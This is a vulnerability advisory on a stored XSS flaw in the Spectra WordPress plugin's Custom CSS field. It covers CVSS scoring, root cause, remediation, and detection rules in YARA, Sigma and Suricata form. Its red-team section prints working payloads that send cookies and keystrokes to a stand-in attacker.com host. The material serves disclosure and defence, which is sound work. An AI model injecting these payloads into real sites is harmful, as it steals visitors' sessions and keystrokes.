CVE-2025-11162

Executive Summary

CVE-2025-11162 is a Stored Cross-Site Scripting (XSS) vulnerability in the Spectra Gutenberg Blocks – Website Builder for the Block Editor plugin for WordPress. The flaw exists in the Custom CSS feature of the plugin, affecting all versions up to and including 2.19.14. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload, leading to potential data theft, session hijacking, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is widely used for building custom block-based layouts, making this a high-impact issue for WordPress sites.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a WordPress plugin vulnerability, and the supply chain risk is limited to the plugin's update mechanism. Users should monitor the official WordPress plugin repository for patches.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS with no user interaction makes it dangerous for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the Custom CSS feature of the Spectra plugin. When a user with Contributor-level or higher privileges adds custom CSS to a block or page, the plugin fails to properly sanitize the input and escape the output. This allows an attacker to inject JavaScript code disguised as CSS.

Root Cause: The plugin uses wp_kses or similar functions incorrectly, or omits output escaping when rendering the custom CSS in the frontend. The injected script is stored in the WordPress database and executed when the page is loaded.

Attack Flow:

1. An attacker with Contributor-level access logs into WordPress.
2. The attacker creates or edits a page/post using the Spectra block editor.
3. In the Custom CSS field, the attacker inputs a payload like: </style><script>alert('XSS')</script><style>
4. The plugin stores this payload without proper sanitization.
5. When any user (including admins) visits the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.19.14): The plugin likely outputs the custom CSS directly without escaping:

echo '<style>' . $custom_css . '</style>';

Patched Code (Hypothetical): The patched version should escape the output and validate the input:

echo '<style>' . esc_html( $custom_css ) . '</style>';

Or use a CSS-specific sanitizer to strip script tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Spectra plugin <= 2.19.14
• Contributor-level account credentials

Exploit Steps:

1. Log in as a Contributor.
2. Navigate to a page or post editor.
3. In the Spectra block settings, find the Custom CSS field.
4. Inject the following payload:

   </style><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><style>
   

5. Save and publish the page.
6. When an admin or other user visits the page, the script executes, sending cookies to the attacker.

Alternative Payload (Keylogger):

</style><script>document.onkeypress=function(e){fetch('https://attacker.com/keylog?k='+e.key)}</script><style>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual CSS content in page/post revisions.
• Look for </style><script> patterns in the post_content or custom fields.
• Use WAF rules to block script tags in CSS fields.

Hardening:

• Restrict Contributor-level access to only trusted users.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin to monitor file changes and user actions.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/spectra/spectra.php (check version)
• Database: Suspicious entries in wp_posts.post_content or wp_postmeta containing script tags within CSS blocks.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Unusual edits to pages/posts by Contributor-level users.

Detection Engineering

YARA Rule

rule CVE_2025_11162_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Spectra plugin custom CSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11162"
    strings:
        $xss1 = "</style><script>" ascii wide
        $xss2 = "javascript:" ascii wide
        $xss3 = "onerror=" ascii wide
    condition:
        any of them
}

Sigma Rule

title: Spectra Plugin Stored XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2025-11162 via stored XSS in Spectra plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "</style><script>"
    condition: selection
falsepositives:
    - Legitimate CSS with comments (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11162 Spectra Stored XSS Attempt"; flow:to_server; content:"</style><script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Check the WordPress plugin repository for a patched version. If unavailable, disable the Custom CSS feature or the entire plugin until a patch is released.
2. Restrict user roles: Remove Contributor-level access from untrusted users. Use the principle of least privilege.
3. Web Application Firewall (WAF): Deploy WAF rules to block script tags in CSS fields.

Long-term Fix:

• The vendor must release a patched version that properly sanitizes and escapes custom CSS input.
• Implement a Content Security Policy (CSP) that disallows inline scripts.

Workaround:

• Use a child theme to override the plugin's output function and add escaping.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst